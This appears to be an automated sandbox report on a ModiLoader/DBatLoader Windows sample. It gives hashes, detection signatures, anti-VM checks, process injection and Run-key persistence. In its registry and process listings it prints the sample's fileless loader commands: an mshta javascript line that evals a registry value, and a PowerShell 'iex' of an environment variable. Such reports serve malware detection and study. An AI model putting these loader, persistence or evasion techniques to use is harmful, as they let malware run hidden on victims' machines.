Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
16-09-2024 06:52
Static task
static1
Behavioral task
behavioral1
Sample
e43a9ce4428c308c05f43888f0e91dc1_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
e43a9ce4428c308c05f43888f0e91dc1_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
-
Target
e43a9ce4428c308c05f43888f0e91dc1_JaffaCakes118.exe
-
Size
346KB
-
MD5
e43a9ce4428c308c05f43888f0e91dc1
-
SHA1
a77b6ad793ce2d6c27a554c7999b828ff3daf084
-
SHA256
3d53d0e919e8e26eaf90fc866e660f802458d54de135641562120e3868599926
-
SHA512
575cff906e2303e81dadfb1bd62b42e4f57b5645c2c154b7b7edc33e520121956698fe8b19cc9775b99eea8e2d21f96e2aaaae56ea78019cf14ea26a96cf13e8
-
SSDEEP
6144:5MjDSovoKyVpMMiev5v6VZ5mrEqJ+Rkqe71WWtxhAQZUHitez2iiEf:5MjDXvolXMMi5Vj2tJn4yxfM4ez2of
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2284 2304 mshta.exe 28 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 56 IoCs
resource yara_rule behavioral1/memory/2444-0-0x0000000000400000-0x000000000045DF20-memory.dmp modiloader_stage2 behavioral1/memory/2444-3-0x0000000000400000-0x000000000045DF20-memory.dmp modiloader_stage2 behavioral1/memory/2444-2-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2444-7-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2444-6-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2444-5-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2444-4-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2444-8-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2444-9-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/1932-14-0x0000000006100000-0x00000000061DC000-memory.dmp modiloader_stage2 behavioral1/memory/2728-15-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-18-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/1932-17-0x0000000006100000-0x00000000061DC000-memory.dmp modiloader_stage2 behavioral1/memory/2728-30-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-31-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-53-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-52-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-51-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-50-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-49-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-47-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-42-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-41-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-40-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-39-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-38-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-37-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2444-56-0x0000000001D30000-0x0000000001E0C000-memory.dmp modiloader_stage2 behavioral1/memory/2728-36-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-35-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-34-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-33-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-32-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-48-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-26-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-24-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-23-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-22-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-21-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-29-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-28-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-27-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-25-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2728-20-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/1288-62-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-69-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-64-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-72-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-63-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-65-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-66-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-73-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-71-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-70-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-68-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 behavioral1/memory/1288-67-0x0000000000280000-0x00000000003CA000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 2728 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d18b\\25f9.bat\"" regsvr32.exe -
pid Process 1932 powershell.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1932 set thread context of 2728 1932 powershell.exe 34 PID 2728 set thread context of 1288 2728 regsvr32.exe 35 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e43a9ce4428c308c05f43888f0e91dc1_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\5e2f regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\5e2f\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\5e2f\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\5e2f\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\5e2f\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:Vwn0iu=\"9wOtGU\";z2V=new ActiveXObject(\"WScript.Shell\");o6NCFB3=\"5A\";WH00CB=z2V.RegRead(\"HKCU\\\\software\\\\nxgspocl\\\\mjmgtqkw\");q31byDi=\"gBh4bqf0\";eval(WH00CB);fsv3k=\"uw\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.7cdd1 regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\.7cdd1\ = "5e2f" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1932 powershell.exe 1932 powershell.exe 1932 powershell.exe 1932 powershell.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe 2728 regsvr32.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 1932 powershell.exe 2728 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1932 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2284 wrote to memory of 1932 2284 mshta.exe 30 PID 2284 wrote to memory of 1932 2284 mshta.exe 30 PID 2284 wrote to memory of 1932 2284 mshta.exe 30 PID 2284 wrote to memory of 1932 2284 mshta.exe 30 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 1932 wrote to memory of 2728 1932 powershell.exe 34 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35 PID 2728 wrote to memory of 1288 2728 regsvr32.exe 35
Processes
-
C:\Users\Admin\AppData\Local\Temp\e43a9ce4428c308c05f43888f0e91dc1_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e43a9ce4428c308c05f43888f0e91dc1_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
PID:2444
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:V3EXn3z="ptKd";G1s=new%20ActiveXObject("WScript.Shell");NK5dtY="9VwzXZK";S8ZE2h=G1s.RegRead("HKCU\\software\\UhZ93x9sD\\giljLwcVV");uIH7W="0ba3";eval(S8ZE2h);mZ3g0nn="55H";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:iwnpzgwl2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
- System Location Discovery: System Language Discovery
PID:1288
-
-
-
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD552dc37bd974193b945c28649ed560a7d
SHA107191553b4d1860c4da1899060e9a810c224f18e
SHA256a5f6a0ce1bf328cb092789506e091fbd64410ec7eecb8e0740b99c4b213cc2f0
SHA5124d1d14eb89ef2e1001a3325d56090583b3263e4b7d04c0e8128e24d22cfc91e7f7389392521bb934fb169455c3b43db7e19c454910f0ea98722d8f5d03a9cbef
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
62B
MD5558593282e991f33e59edd50f0b8c423
SHA10948ec9434ba8b771a3b0ae75a296ec40fd1d599
SHA2566c7dba31d61824e20f2eaaae6870b5e1f4b0ae871c8da5d967cbd221c6a6b598
SHA51276be0a947c95fa6e5e0f5d9f962174a444cda594b1e756a4d232561b3c3a73738dfe3cbe2fbb4e83d0c420d09708a6fd7eecf33f42f8dad33ecbcf7154a9f265
-
Filesize
35KB
MD5b629327e38108965b3350d213e8e7842
SHA1bb2be2bccd9923293644c0e62bb24a587cd85f9a
SHA256e02bf111c214e7040aa0155b4778b37b8f42c916cef4ae1b1a6f6d2f9a47018f
SHA512938d3ee6d29d40804c767e895822c03928d241e70aa04c647881cd27fb4966f98f57755c5852c1842edd851278fe3ba4218f76274aac6067d2f6a00ea8319638